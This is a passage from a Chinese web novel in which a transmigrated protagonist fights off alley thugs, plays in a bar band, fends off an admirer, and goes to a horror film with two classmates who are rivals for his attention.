“最近政府不是在提倡垃圾分类么?怎么会出现你们这些漏网之鱼。”
“看来是有害垃圾的箱子太小了,装不下啊。应该换个屋子装。”
地上的几人,还痛得说不出话来,只能躺平任嘲。
江霁明掏出手机看了看,离9点还有30分钟,浪费了他好多时间。
这时
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,远处传来了警鸣声,不知道是谁报警了。
江霁明不想进警局,见势转身就想走。
衣角却突然被人拉住,耳边传来低低的男声:
“谢...谢你救了我。”
“我不是为了救你,只是他们挡了我的路而已。”
江霁明没转身,侧着脸冷漠地回答,扯回了自己的短袖下摆。
就在男生动了动唇,还想说什么的时候,江霁明又补充了一句:
“下次自己救自己吧。”
说完,江霁明就加快脚步,消失在了巷口,只留下一地月光。
男生愣愣地看着江霁明的背影,直到他消失也没有收回视线。
他摸着自己红肿的脸颊,耳边又响起同学的嘲笑:
“黎越,你也太弱了吧,生来就是让人欺负的吗?一点男子气概都没有。”
“黎越,你怎么不想想他们怎么不欺负别人,就欺负你啊!”
黎越回想着刚刚的场景,那人在夜色中的身姿,如同一只矫健的黑豹,动作优雅却不失狠厉,又似在月光下踏着圆舞曲。
刚刚对方侧过脸,他只看见了纤长低垂的眼睫,和鼻梁上的一颗小痣。
那颗痣性感极了,仿佛带着一种蛊惑人心的魔力,在黎越的脑海里久久不能散去。
忽然记起对方的脖子被刀划伤了,黎越慌张地在地上找到自己灰扑扑的书包,从侧边口袋里掏出自己经常用的小猫创口贴。
可惜他已经走了,不能给他。
他叫什么,住在哪里,和他是一个初中的吗?看他个子很高,难道是成年人?
黎越坐在地上,抱着膝盖,胡思乱想着,脸颊上的伤痕已经开始泛青。
他能够自己救自己吗?
想到那人的背影,黎越暗自下了决心。
他想变强,不仅是为了保护自己。
他也想保护他,就算他强到不需要别人的保护。
站起身,黎越猛地上前踹了墙边那人一脚。
“还给你,垃圾。”
警察很快将他们带去了警局,黎越以正当防卫的理由被释放。
当警察问是谁救了他,黎越只说“不知道”“没看清”,另外几人怕被报复,也说不清楚,而那条巷口也没有监控。
广城的警力有限,对方又只是个见义勇为的,只好作罢。
而那个巷口,在警车离开之后,又响起了一阵脚步声。
月光下映出了一个女生的轮廓,她手里还握着手机,在昏暗中发着光,屏幕上是拨号界面。
她的双腿还在因为害怕而发抖,脸上的表情却兴奋极了。
这就是传说中的大侠啊!只有这样的才算是真正的男人啊!
今天值日晚了,她在经过这条无人巷子的时候,本就害怕。
听到这边的动静,恐惧却抵不过好奇,她小心地探出身子,就看到那一幕暴力围殴现场。
她吓得差点尖叫出声,幸好她捂住了嘴。
对面有五个成年男人,而她只是一个女生,冒冒然出去,手无缚鸡之力的她只会沦为受害者二号。
所以她掏出手机,立刻选择报警。
就在她刚挂断电话的时候,眼前就出现了那令她这辈子都无法忘记的一幕。
那个男生就像是电视剧里的大侠一样,身影如风,短短几分钟,那些人就全都趴地上了。
和她之前那个只会打她妈的垃圾爹不一样,只有用拳头保护弱者的人才算是真正的男人啊!
她捂着自己的脸颊,心脏疯狂地撞击着她的胸腔。
啊,好可惜,没看见大侠的脸啊!
算了,不管长什么样,都是世界上最帅的男人。
不过大侠脖子上的项链好好看,好适合他啊!
刚刚离得太远,她没看清那人的脸,只看到他在转身飞踢的时候,从脖颈出晃出来的白色狼牙项链,在漆黑的夜色里闪着银光。
就在她又沉迷回忆大侠的身姿时,手中突然响起的手机吓了她一跳。
“芸希,值日还没结束吗?已经快9点了,你怎么还没回来呢?”
“知道啦,妈。我快到家了,糖醋排骨可得给我留着啊!”
挂断电话后,何芸希拍了拍自己的校服,原本蓝白色的校服被墙壁蹭上了一层灰。
真想认识大侠啊!不知道他是哪个学校的呢?
18. 酒吧兼职
跟着发小发的定位,江霁明很快来到了一条商业街。
将近9点,霓虹灯光穿过浓重夜色,模糊了熙熙攘攘的人群,各色摊位外的商品琳琅满目。
这是广城人流量最大的一条街,顾鸣飞别的不说,每次开酒吧的选址都特别好。
想到这,江霁明低头又确认了下定位,抬起头,映入眼帘的是两扇彩色的玻璃门,有点像是西方教堂的彩绘玻璃。
灯光从内部散射成迷离的光晕,将这家名为“BlueRose”的酒吧和外界割裂开来。
江霁明推开门走进去,如同进入了一片迷幻的梦境。
入口的长廊铺就着黑白花纹的毛绒地毯,两边是酒红色的墙纸,挂着许多复古的画作。
和之前去过的酒吧不同,这次没有嘈杂的音乐和混乱的彩色灯光,反而透着一股欧式贵族风。
往长廊深处走去,便看到客人三三两两地聚在一块儿,或是低声交谈调笑,又或是独自品尝着美酒。
避开廊边几个搭讪的人,江霁明快步走进酒吧内部,从攒动的人群中一眼看到了那个空旷的卡座。
黑色的皮质沙发上靠着一个银发男生,正翘着二郎腿不断刷着手机。
像是感应到了什么,男生抬头随意扫了一眼,视线就被人群中那个极为高挑的身影吸住了。
顾鸣飞已经有两个月零十二天二十小时五十五分钟没见过江霁明了。
他和江霁明从小一起长大,读的都是同一个幼儿园、小学和初中,从没想过他们会分开。
这次不知道发生了什么,江霁明突然离家出走,跑到了离京市十万八千里的广城读书。
江霁明又不是喜欢发朋友圈的人,顾鸣飞只能每天看着手机里偷拍的对方的照片度日。
江霁明刚穿过人群,还没看清人影,腰间就被一双手紧紧地抱住,一颗银色的脑袋突地埋在他的颈窝。
感受到锁骨上如羽毛般拂过的温热气息,江霁明不耐地掐住顾鸣飞的后脖颈,将人一把就提溜开。
“两个月不见,你就把我的话忘了?你难道是有肌肤饥渴症吗?”
他扯下口罩,垂眸看着对方,似笑非笑地调侃着。
顾鸣飞被后脖颈处冰凉的手惊得起了一身鸡皮疙瘩,鼻尖萦绕着对方身上淡淡的果香。
他收回的手指不自在地蜷缩了一下,指尖还残留着属于对方腰部紧实肌肉的触感。
“哪有啊,阿明,我这不是多日不见,分外想念嘛~就让我这一回吧,好不好嘛~”
男生看着对面这张朝思暮想的脸,鼓着腮帮子,语气中带着一丝甜腻地撒娇道。
江霁明被对方软绵绵的尾音恶心到了,他将唇线拉直,幽幽地扫了一眼对方下唇又多出的一颗唇钉,冷声道:
“你顶着这副样子撒娇实在是有碍观瞻。”
顾鸣飞的银发在昏暗的酒吧灯光中分外耀眼,一双桃花眼里闪着狡黠,右眼眉尾和下唇都打着一颗银钉,衬得他原本就较常人丰满的唇更加性感。
配上一身赛博朋克的穿搭,整个一叛逆少年在线撒娇。
“阿明,这么久没见,我感觉你不爱我了~难道是有了别人~”
“谢谢,从没爱过。你之前说的乐队在哪儿?”
江霁明已经对顾鸣飞的间歇性犯病见怪不怪了,不想浪费时间和对方掰扯,将话题转到正事上。
“在后台,我带你过去吧。”
江霁明重新戴上口罩,跟着顾鸣飞到了后台,见到了乐队的另外三人。
一个主唱,一个贝斯手还有一个架子鼓手。
外形都非常亮眼,穿着一身极具铆钉元素的衣服,见到江霁明纷纷热情地打招呼。
主唱朝着江霁明比了个大拇指,开朗地说道:
“Hello,哥你的颜值是这个,戴着口罩也帅翻了啊!我叫阿辉,哥怎么称呼?”
“你们都叫他Adiya吧,之前跟你们说过的,我发小。”
转头征求了下江霁明的同意,顾鸣飞才替他介绍道,语气正经,完全不见刚才的甜腻。
“好酷,是英文名,看哥的眼睛是蓝色的,是外国人吗?”旁边的架子鼓手是一个长的很俊秀可爱的男生,名叫小哲。
“差不多。”
掏出手机看了看时间,江霁明随意地回了一句。
剩下的那个贝斯手澄子看了眼还想发问的队友,又瞧了下江霁明,急切地打断他们:
“你们废话好多,别再问了,演出快开始了。”
“那哥你真的不需要练习一下吗?直接就上吗?”
主唱阿辉担忧地看了眼刚刚才拿到谱子的江霁明。
看到阿辉眼里真诚的担忧,江霁明散漫扬眉,幽蓝色的瞳孔在后台浅色的灯光下似是透着一股魔力,让人情不自禁地就想深深地注视着他。
“不用,你们只管表演,我会跟着的。”
一旁的顾鸣飞痴痴地看着江霁明淡然却难掩自信的眉眼,露出一个甜蜜的笑来。
唇钉随着他扯开的嘴角移动着,在灯下泛着银光。
记下乐谱后,江霁明向顾鸣飞要了一件带铆钉的黑色皮质的背心外套。
脱了黑色短袖,露出了件白色背心打底,穿上外套后,又在胳膊上方套了一个黑色的铆钉臂环,勒在白皙的肌肉上,从肩头到小臂隐约蜿蜒着一条青色的脉络。
墨蓝色的狼尾随意地散在他露出的肩头,透着一股慵懒和不羁。
江霁明垂头看了一眼,觉得自己现在才勉强融入了这个乐队的服装文化。
其他人看着他这副装扮,都陷入了一秒的呆滞,要不是顾鸣飞快速警告地看了他们一眼,他们都要发出尖叫了。
别说女生了,连男生都受不了这一幕,心跳快得差点怀疑自己的性取向。
让人只想成为他的玩物。
没关注身边突然沉默的几人,江霁明活动着手指,暗想着自己这么久没弹琴,应该不会和身手一样生疏了吧。
阿辉几人看江霁明从容镇定的样子,瞬间也感觉直起身子,仿佛下一刻要登上的不是酒吧小舞台,而是万人露天大舞台。
站在角落的顾鸣飞保持着伸手的姿势,宝贝地捧着江霁明刚刚脱下的T恤,也不敢靠近闻,生怕衣服被自己身上的烟酒气破坏了原本带着的清冽果香。
酒吧内——
一个身材火辣的卷发女人端着酒缓步靠近角落里坐着的一个金发男人。
男人是个典型的欧洲人,有着一头浓密的金发和深邃的碧绿色眼眸。面部轮廓清晰深刻,似是出自希腊雕塑家之手。他的嘴唇薄而红润,始终挂着一抹自信的笑容。
领口处的衬衫扣子解开了两颗,露出分明的白皙锁骨,一根蓝色条纹的领带松松地挂在领口,灰色休闲西装的袖口被挽到了手肘出,露出结实的小臂。
“雷蒙,你之前怎么不再联系我了?我们不是谈得好好的么?”
雷蒙原本正微微摇晃着酒杯,无聊地看着四周,看见靠近的女人,露出一个温柔地笑:
“当然,甜心,我们之前是谈的很好,我也很喜欢你。
你是那么美丽,又是那么地喜欢我,让我觉得已经配不上你了。现在我认为你值得更好的。”
男人的语气真挚,带着藏不住的深情,说到最后一句,又露出一个悲伤的表情。
女人听到这话,坐到雷蒙身边,环住了他的胳膊,柔声地说:
“别这样说,雷蒙,我觉得你真的很好,没有人能比你对我更好了...”
雷蒙任由女人抱着他的手,脸上还是带着温柔的笑,视线却没落在女人身上,随意地扫着四周,寻找着符合自己标准的下一个猎物。
他不是这个镇上的人,只是听说这里开了一家欧式贵族风的酒吧,服务对象却是平民,想来看看是哪个冤大头跑这个偏僻的地方砸钱玩,顺便换换口味。
冤大头·顾鸣飞:阿明的衣服好香。
就在这时,酒吧的灯光突然暗了下去,喧闹的人群也寂静了下来。
今晚九点,酒吧有一场乐队演出。
雷蒙对什么音乐不感兴趣,一只胳膊被抱着,另一只手无聊地撑着下巴,打算看下表演当消磨时间。
舞台上没有灯光,只能看到几个漆黑的人影。
这时,清灵的琴音如同潺潺的流水,打破了酒吧内短暂的寂静。
一束白色的灯光突然打了下来,只见修长如玉的手指在琴键上熟练地穿梭,跳跃,编织着一串串音符。
音符轻柔如丝,似是用羽毛拨弄着众人的心弦,让人深深地陷入了一张密密的网。
就在人们被柔软的音符包裹的时候,又响起了一阵架子鼓的声音。
鼓面的敲击声如繁星般点缀着之前的琴音,逐渐增强的鼓点跟随着琴手加快的弹奏动作,牢牢地牵动着人们的心。
随着贝斯弹奏出的一段极富节奏感的激流乐章,现场的氛围节节攀升。
原本在起初轻柔的歌声也随着高涨的情绪变得激昂高亢。
而起初的琴音如同一根丝线,紧紧地将所有声音串在一起。
台下的观众也不禁被这乐声感染地发出叫好声。
舞台突然被灯光照亮,台上出现的乐手们俊俏的外表再次引起了台下的女士们尖叫。
雷蒙从琴声响起的时候,就已经听不见身边的任何声音了。
那琴音似是海妖的歌声,而他是海上被蛊惑的船夫。
他只想驾驶着船,朝着声音的方向而去,想要一睹海妖的面容。
他想要看清那人的脸。
灯光亮起的那一刻,
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他碧绿的眼眸就那样定住了。
那人低垂着眼,专注地看着手上的动作,脸被口罩遮住了大半。
雷蒙的眼睛定在那两颗痣上,黑色的痣缀在白皙的眼皮和鼻梁上,眉眼间的神色却极为冷淡,矛盾中透着一股别样的迷人。
他感觉见到了比海妖鱼尾上的绚丽鳞片还要耀眼的黑色宝石,这让他急切地想要靠近他。
他想要将唇印在那宝石上。
不知道表演是什么时候结束的,等雷蒙从自己的幻想中出来,台上已经没人了。
他猛地站起身,吓了旁边的女人一跳。
雷蒙没心思再和之前一样温柔地安抚自己的前任,丢下一句话就朝着后台跑去。
“有机会再见,甜心。”
上帝保佑,他还没走。
在后门看见那人高挑的背影,雷蒙在心中肯定,绝对是他,他的塞壬。
江霁明正靠在后巷的墙上,嘴里嚼着口香糖。
刚刚顾鸣飞又在他面前抽烟,搞的他原本已经压下去的烟瘾又差点犯了。
之前母亲去世的那段时间,他跟着身边人一起学了抽烟,后来不小心染上了瘾。
江霁明自然不喜欢失去控制的感觉,所以他意识到这一事实就开始戒烟。
戒烟的方式就是用口香糖代替。
江霁明右手随意叠着指尖的锡纸,左手在屏幕上给顾鸣飞回消息:
A:「不用送了,我已经走了。你没事干就回酒店睡觉,不是说黑眼圈很重吗?你再熬夜就长下巴上了。」
撒娇怪:「我们才见了这么会儿,我舍不得你嘛。工资明天打你卡上。」
A:「OK.」
按下发送键后,江霁明就觉得前面的光被挡住了。
刚抬头,一只胳膊就直直地撑在了自己旁边的墙上,将他笼在身前。
江霁明:……什么情况?
对方的个子比他矮了一点点,这个姿势显得分外别扭,但显然那人并没有意识到,露出一抹优雅温柔的笑,开口:
“朋友,认识一下,我叫Raymond,你可以叫我雷蒙。今晚的演出很棒。”
江霁明面对这个情景,仍旧懒懒地依在墙上,因为嚼着口香糖的缘故,没回话,眸子盯着对方。
脑海里002在发出尖锐爆鸣:
【大人,这风流炮灰男怎么不壁咚女主,反而来壁咚您啊啊啊啊!】
就在雷蒙以为对方是觉得他现在的动作有点冒犯,想要起身的时候,他的领带突然被人扯住了。
对方扯着他的领带,将他拉到身前,两人的脸离得极近,雷蒙几乎能够数清对方的睫毛。
心脏不受控制地颤抖着,雷蒙从没体会过这般感觉,勒紧的领带让他感到些微的缺氧,仿佛被人用手掐住了脖子。
雷蒙忍着窒息感,微抬起下巴,就在他即将吻到那颗缀在鼻梁上的小痣时,对方倏地侧过了头。
温热的呼吸扫在他的耳根,似是用羽毛挠着他的心尖,对方的嗓音低沉磁性,如同醇厚的美酒。
“想泡我?”
“额...咳咳,没...没有。”
雷蒙还没见过这么直接的美人,尽管有点缺氧,他还是欲盖弥彰地否认了一下。
毕竟他向来是喜欢欲擒故纵,让猎物自投罗网的。
“可我喜欢女人啊,怎么办呢?你愿意为我变成女人吗?”
雷蒙觉得缺氧的脑子让他神志不清了,他差点就要脱口而出一句“愿意”了,下一刻少年的话又让他的心碎了一地。
“但我也讨厌不爱干净的人。”
尤其是玩得花的。
他的语气听起来意有所指。
雷蒙的鼻尖好像嗅到了少年身上清冽的气息,让他原本昏蒙的大脑清明了一瞬,又仿佛陷得更深了。
他像是一只被蛊惑的狐狸,明知道前方的稻草下埋着猎人的捕兽夹,却仍然傻傻地踩了上去,自投罗网。
“咳咳...不会了,你是我的塞壬,我以后只有你。”
听到“塞壬”这个属于海妖的名字,少年不悦地扬起眉毛,松开对方的领带,冷淡地打断道:
“叫我Adiya。”
雷蒙摸着自己的脖子,大口地呼吸着,白皙的脸上透着缺氧的红。
“好...好的,Adiya,我只是想认识你一下,宝贝,没别的意思。”
闻言,江霁明发出一声略显嘲讽的笑,语调拉长:
“是吗?那已经认识了,我先走了。”
“宝贝,你下次还会来吗?”
江霁明已经走远了,尾音落在巷子里,格外清晰。
“下次九点,欢迎捧场。”
没说清的是,一周只表演三场。
下次,可就是大后天了。
19. 三人约会
第二天是周六,晴朗,无云。
非常适合宅家享受一人世界。
早晨七点整,江霁明吃完早饭,便准备给阳台上的花浇水。
站在栏杆前,他刚拿起水壶,就听到楼下传来熟悉的声音。
“小叶,又出来跑步啊!真该让我家那个混小子和你学学,现在还在睡觉呢!”
“郑阿姨,我只是习惯啦!而且我很喜欢跑步啊!您今天买了好多菜,是打算做大餐吗?”
男生的声音清朗,富有朝气。
“是啊,还得谢谢你上次教我做的那个蒜蓉蒸排骨,让他吃了两碗大米饭呢!”
“您太客气啦!我只是平常喜欢研究菜谱而已,您上次还给我送了一篮鸡蛋啊!我还没谢谢您呢。”
一探头就望见了那个栗色脑袋,江霁明想起自己没有戴眼镜,便打算离栏杆远点。
而站在楼下的叶峻感觉有人在看自己,转身抬起头,就看见一个颀长的背影,隐约能看见墨蓝色的发。
他脑海里突然出现了那双蓝色的眼睛,还有那种被电流窜过全身的感觉。
叶峻又仔细看了看,发现就是自己家旁边的阳台。
那不是姜明家吗?难道他家里住着别人?
想到这,叶峻脑子里的思绪乱成一团,感觉心口被一股奇怪的酸涩塞的满满的。
好像是嫉妒,是嫉妒谁?
是嫉妒姜明认识那人?还是嫉妒那人能住在姜明家里?
叶峻不知道,他只想立刻见到姜明。
等叶峻站在对方的家门前的时候,他又开始退缩了。
不就是姜明有别的好朋友嘛,有什么好害怕的,真是奇怪。
他只是担心打扰姜明休息而已,没错,万一吵醒他了怎么办?他会不高兴的。
站在门前,叶峻将运动毛巾挂在脖子上,掏出手机打算先发个消息试探一波。
“嗡嗡”——
桌上的手机发出了震动声。
龟毛男:「姜明同学,之前盛老师给我的资料上显示,你原来是京市人,刚搬来广城。
老师说你对这里并不熟悉,所以让我来带你参观广城。请问你今天是否有空呢?」
是谢知韫。
昨天给了他联系方式后,当晚江霁明就通过了对方的好友申请,并备注为“龟毛男”。
这是他的习惯,不然记不住人。
看到谢知韫发来的消息,江霁明只觉无语。
他怎么不知道班长的职责里有这么一条呢?
剧情里也没见他这么关心同学。
江霁明今天只想当一个安静的宅男,随手打下“没空”两个字,刚想发送,就见对面又发来一条消息。
龟毛男:「正好盛老师让我安排诸如社团之类的一些开学事宜,我认为需要征求你这个副班长的意见,所以我已经在你家楼下了。」
江霁明:那你之前问我有没有空原来只是象征性询问吗?
就在这时,手机屏幕上方又弹出了两条消息。
麻雀犬:「姜明姜明,你睡醒了吗?我刚刚帮你买了早饭,现在就在你家门口。
是一袋包子,不知道你喜欢吃荤还是素,我全买啦!对了,还有一杯热豆浆哦!」
麻雀犬:「别担心,如果你没睡醒的话,我等二十分钟后就会自己走的!到时候记得来门把手上取早餐啊!」
放下手机,江霁明揉了揉太阳穴,只觉头疼。
这一个两个的,打算在他家门口开party吗?
想到叶峻那个人,很可能会真的在门口傻傻地站二十分钟。
江霁明叹了一口气,先给谢知韫回了条消息。
A:「十分钟。」
发完消息,他戴上眼镜,在原本的白色无袖背心外面,又套了件浅蓝色的短袖衬衫,扣子敞开着,下身穿了条铅灰色的阔腿牛仔裤。
换好衣服后,江霁明打开门,就撞上了一双浅褐色的狗狗眼,眼角还挂着泪珠。
“你哭什么?难道等哭了?”
虽说江霁明刚才被这两人没分寸感的行为惹恼了,但一般没触碰到他底线的事,他也不会一直记在心上。
此时,他正好整以暇地欣赏着面前的这副场景,姿态闲散地靠在门框边上,随意调侃了一句。
叶峻没听清对方语气里带着的兴味,不好意思地擦了擦眼角。
他难道要说他刚才被自己的脑补吓哭了吗?
姜明有了比他更好的朋友,而他这个没用的就会被无情地抛弃。
“没...没事,刚才吃了碗麻辣豆腐脑,熏了眼睛,真的是好辣啊!阿姨放辣椒的手太抖了吧!”
听到这牵强的理由,江霁明强忍着压下嘴角的弧度。
昨天吃面的时候,你不是说不吃辣吗?
“行吧,下次少放点。”
江霁明一边说,一边将手撑在另一侧的门框上,拦住叶峻那颗正偷偷往房内探的脑袋。
“你看什么?”
“额...姜明,你家里就你一个人住吗?”
发觉对方之前在楼下是看到他了,江霁明面色不变,冷淡地回了一句:
“不然呢?难道你想跟我住?”
听到这话,叶峻的脑袋像是着了火,完全忘了刚刚要找那个和江霁明疑似同居的人,结巴地挥着手道:
“没没没有,这是梦里才有的...额,不对,我从没想过啊!姜明你相信我!”
江霁明挑眉瞧着对方慌乱的模样,如锅上的跳脚蚂蚁,心里暗想:
小狗还是那么好糊弄,就是他梦里都做了些什么?
“行了,我还要去楼下见个人。”
“谁?!”
原本正抓着脑袋的叶峻警觉地问了一句,简洁得反常。
“熟人。”
江霁明没细说,越过叶峻就往下走去。
“那姜明,早饭怎么办啊?我特意在手心捂了好久呢!”
叶峻捧着手里的早饭,急忙跟上对方。
“我吃过了。你还在长身体,多吃点。”
江霁明无所谓地摆摆手,他一般不吃别人给的食物。
因为小时候遇见过的人贩子太多了,见他俊俏可爱,谁都想给他买零食。
叶峻听到这话,兴奋地立刻咬了口包子。
姜明这是在关心他呢!
走出楼梯口,江霁明就看见路灯下立着的身影。
谢知韫穿着一身深蓝色的长袖衬衫,配了条黑色的西裤,胸前的口袋上还别着个灰黑色的三角胸针。
银色的镜架将他的皮肤衬得白皙如玉。
见此,江霁明很想问他这一身长袖西裤不热吗?
还有,他怎么变白的?感觉也是一条商机。
谢知韫站在路边,握着手机的手心里都是汗,他低头反复查看自己之前发给姜明的两条消息。
很好,从头到尾都没有显露出分毫,只是一个关心同学的好班长而已。
前几天,谢知韫熬了几个通宵,研究各种罗曼蒂克的小说,并划重点做笔记,多次查漏补缺,制定了一份追求姜明的计划书。
名为——如何在不惹姜明厌烦的情况下征服他的心的相关策略研究。
首先,要向对方展现自己优秀的内在。
一个男人找另一伴,除了需要好看的皮囊,更需要有趣的灵魂。
而他谢知韫自认为完全符合第一点。
因此,他需要向姜明展示自己优秀的内在。
目前,姜明已知他的成绩优异,但对他还是不冷不淡,大概因为对方同样擅长学习,对这一点并不在乎。
除学习之外,谢知韫需要延长和姜明私下相处的时间,并不动声色地了解他的兴趣爱好。
然后顺势表明自己也有这个爱好,之后可以一起交流云云。
谢知韫又握了握手,参加过很多学科竞赛的他还从没这么紧张过,这是他计划书的第一步,不能出任何差错。
抬头,他看到姜明,便露出一个角度完美的笑容,打算自然地上前打招呼。
但当他看到姜明身后那个碍眼的傻大个时,他脸上的笑容产生了裂痕。
这不是当时军训表演的时候,恨不得告诉所有人他对姜明有非分之想的蠢货吗?
他怎么在这?难道他住在姜明附近?
失策,计划书的进程目前出现了一个潜在的危机。
谢知韫的情绪很快稳定下来,忽视旁边碍眼的某人,走近姜明,和对方保持着一拳距离。
不会太过疏远,也不会太过亲密,是一个令双方都很舒服的距离。
“姜明同学
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,之前提到的社团招新,我昨天已经初定了一份方案...”
谢知韫尽职尽责地扮演着自己的好班长,简洁地向姜明介绍自己的方案。
并在话里话外表明,他已经一个人把所有工作完成了,姜明只需要象征性地提一些意见。
江霁明漫无目的地走着,听着耳边周密的方案。
他还是挺认可男二的能力的,希望他以后能继续自觉包揽所有班级事务。
在对方询问他的意见时,他缓缓吐出两个字:
“很好。”
谢知韫脸上笑容的弧度未变,心里微喜:
感受到姜明对自己这个行为的肯定了,应该是希望他继续保持。
等所有正事说完,离中饭的时间还早,谢知韫便提议可以带姜明去附近逛逛。
江霁明想着横竖都已经当不了宅男了,就无所谓地点了点头。
从谢知韫说话开始,叶峻就乖乖地跟在江霁明身后,不想打扰他的正事。
这时,叶峻也转头朝江霁明露出一个灿烂的笑容,兴奋地靠近说道:
“姜明姜明!我听说附近新开了一家电影院,今天会上映好多类型的电影呢!你要不要和我一起去看电影啊?你喜欢什么电影呢?搞笑的还是文艺的?”
在谢知韫眼里,叶峻离姜明的距离是半拳,但并未惹起对方的不满。
同时,他自然而然地就提出了在电影院约会的要求。
这样不仅能够和对方相处,还能借机摸清对方在电影方面的喜好。
此外,电影院这种在观看时漆黑密闭的地方,非常适合培养感情,并营造一种暧昧的气氛。
想到这,谢知韫转头微不可察地看了叶峻一眼。
小瞧他了,原来是一个高手。
愚蠢只是为了掩饰他深沉的心机吗?
大意了。
可惜,有他这个第三人的存在,对方二人世界的美梦要落空了呢!
“是啊,我也听说那家影院了。周围人的评价也都不错,近期一线影院上映的影片,这家基本都有。
你对什么类型的电影感兴趣呢?说不定我能推荐一些。”
江霁明不想说话,他感觉自己被两个人紧紧地夹在中间。
他暗暗加快脚步,将两人微微甩开。
“电影?我只看恐怖片。不恐怖的不看。”
江霁明没看两人,悠悠地抛下一句话。
“额...恐...恐怖片啊!哈..哈,我也喜...喜欢恐怖片呢!”
“恐怖片,不错,近期上映的几部恐怖片,口碑都很好,我记得今天9:00-11:00就有一场,我们现在过去看完还能赶上午饭。”
光听语气,江霁明就知道叶峻在强装镇定,而谢知韫又在装了。
站在电影院的走廊上,江霁明摸着下巴,慢慢地扫着墙上的海报。
旁边经过的人都惊讶于他们这三个大男人来电影院的组合,低声说了些什么。
江霁明并不在意,满意地看着面前的一张海报。
“就它了。”
只见海报整体呈灰白色,映入眼帘的就是一张床。
床上有一个女人在酣睡,嘴角带着甜美的笑容。
而床下却探出了一双苍白的手,鲜血淋漓,皮肤像是被什么烫烂了,露出猩红的肌肉组织和白色的骨节。
森森鬼气仿佛要冲破海报,将面前的几人吞噬。
看到这一张海报,叶峻像是被冰冻住了,一时说不出话来。
而另一边的谢知韫正低头思考着,一会在院内该如何巧妙地拉近和姜明的距离。
要不就装作被鬼吓到,然后紧紧抓住对方的胳膊。
虽然很愚蠢,但这是和姜明产生肢体接触的最快办法。
如果姜明感到不悦,他就快速道歉,毕竟,害怕是人之常情。
但若他并未拒绝,以后他就能自然地和对方产生更多的肢体接触。
江霁明见身边两人都不说话,想必都没有任何意见。
捧着手上的超大爆米花桶和可乐就往售票处走去。
各自买好票,电影也刚好要开始了。
就这样,以江霁明为首的三人,走进了影厅,墙上的屏幕刚好亮起。
三个人的约会,也正式拉开了序幕。
20. 小修罗场
影厅很大,他们三个人的位子刚好在最后面。
而江霁明的座位号又在另外两人的中间。
找到座位后,江霁明刚打算坐下就见谢知韫从口袋里掏出一瓶酒精喷雾和一包面巾。
江霁明:……
等谢知韫将自己和江霁明的座位全都消毒并擦拭过一遍后,他才微笑地比了个“请坐”的手势。
最右边的叶峻像是第一次见到这样的场景,好奇地问了句:
“这位同学居然随身都会带着酒精喷雾啊!你是不是走到哪都要喷一喷,好厉害啊!诶,我怎么没想到呢?
姜明,下次我来找你的时候,我也会带上的!”
谢知韫听到这话,紧了下手中的瓶子。
这人,前面不仅阴阳怪气自己事多,后面还趁机炫耀了一把自己随时可以和姜明有“下次”。
背地又想模仿自己,真是面目可憎。
“是啊!这位同学,你也不知道你底下的座位有没有被人踩过,或者干了些什么别的事,对吧?”
谢知韫坐在江霁明身边,一只手替他扶着巨型的爆米花桶,温和地回了一句。
而叶峻早就坐下了,正捧着自己的爆米花,傻愣愣地大口吃着。
闻言,他突然感觉怎么坐都不舒服了,起身就想和对方掰扯。
中间的江霁明不置一词,懒洋洋地欣赏着旁边两人为他倾情献上的开场秀。
他算是明白了,这两人合着是都喜欢他呢。
这一副妃嫔争宠的模样,他和母亲在电视剧里看过。
只是一个装成是好班长,另一个装成是好兄弟。
不过后一个傻乎乎的,可能也没意识到这一点。
原本江霁明只是短暂被剧本中的情节蒙蔽了双眼,以为男二只会喜欢女主,自己不过是个背景板而已。
然而,自从江霁明发现男二开始崩人设,校霸男主和他产生交集,还有那个剧本中从未出现的学习委员。
他就算再迟钝,也应该意识到了系统给的剧本有问题。
但他目前暂时没什么好的办法,毕竟系统给的奖励都是实质性的,剧情点和扮演进程也没出现大的问题。
不过,江霁明喝了一口可乐,慢悠悠地扫视了两人一眼,便收回了视线。
有些人可能会在一开始以为别人喜欢自己,后来发现其实都是自作多情。
但江霁明并没有这个困扰,一般只要对方不主动表白,他并不会点破。
又或者说这只是他的恶趣味。
别人慌张隐藏感情而不知所措的神色,又或是自以为将他当成猎物胜券在握的模样,都会让他感到愉悦。
而江霁明从小到大,并不缺少追求者,很难被谁轻易打动,尤其是男人,所以完全是一副旁观者的心态。
“电影要开始了。”
一听到江霁明的话,原本还在互相阴阳怪气的两人都乖乖地闭嘴坐下。
电影的开场非常温馨,女主角在学校和自己的男友打情骂俏,回家躺在床上也一直给对方发消息。
看起来是很普通的恋爱剧情,但看过海报的三人都知道,这只是暴风雨来临前的平静。
右边的叶峻已经将后脑勺紧贴在座位上了,恨不得离屏幕十万八千里。
而江霁明看得津津有味,对接下来剧情很期待。
谢知韫主动帮他捧着爆米花,江霁明自然也安心地享受着,作为奖励,便忽视了对方悄悄盯着他的手,一副虎视眈眈的模样。
面前熄了灯的房间内,女主角正抱着玩偶睡得安详。
突然间,玩偶咕噜噜地滚到了床底下,又突然被什么撞了一下,飞到了外面。
原本干净洁白的毛绒上被鲜血污染,镜头拉近,黑黝黝的珍珠眼睛就那么直直地盯着屏幕外头的观众。
叶峻被这一幕吓得叫了一声,牢牢地抱住了旁边人的胳膊。
另一边正在思考如何产生肢体接触的谢知韫:……这只心机狗。
江霁明感受着裸露的胳膊上温热的触感,感叹这小狗没长胆子,光长肌肉了啊。
然后他便摆了摆手臂,挣开了叶峻的手。
对方悻悻地缩回去,又装出一副没被吓到的样子。
玩偶的后方,缓缓地伸出了一只被腐蚀得极其严重的手,甚至能清晰地看到上面布满的肌肉纤维,指甲在木质地板上发出刺耳的刮擦声。
女主角被这声音惊醒,抬头就对上了一张被黑色湿发盖住的脸,脸上一片空白,没有任何五官。
与此同时,谢知韫神色镇定,右手却突然盖住了江霁明放在一旁的手背。
手指像是因为恐惧,不断颤抖着,就差要和他十指相扣了。
江霁明没想过他会如此直接,而且演技那么差,作秀成分为100%。
看来是被叶峻影响了,过于急切,谢知韫控制情绪的功夫没到家啊。
这时,002又开始在脑海里不满地嘟囔:
【大人,这两个人类说是看电影,其实一直在占您的便宜。002忍不了啦!】
【行了,我知道。】
谢知韫感受到旁边人幽幽的目光,一转头就对上了姜明的眼睛。
在屏幕的映衬下,纤长卷翘的睫毛在他的脸上投下一个折扇般的影子,将对方的眼瞳遮了一半。
但谢知韫还是从姜明的眼神里看出了不解和一丝怀疑。
他意识到是自己过于莽撞了,连忙松开手,露出一个歉意的笑容,低声说道:
“抱歉,姜明同学,我不是故意的。”
知道你是有意的了。
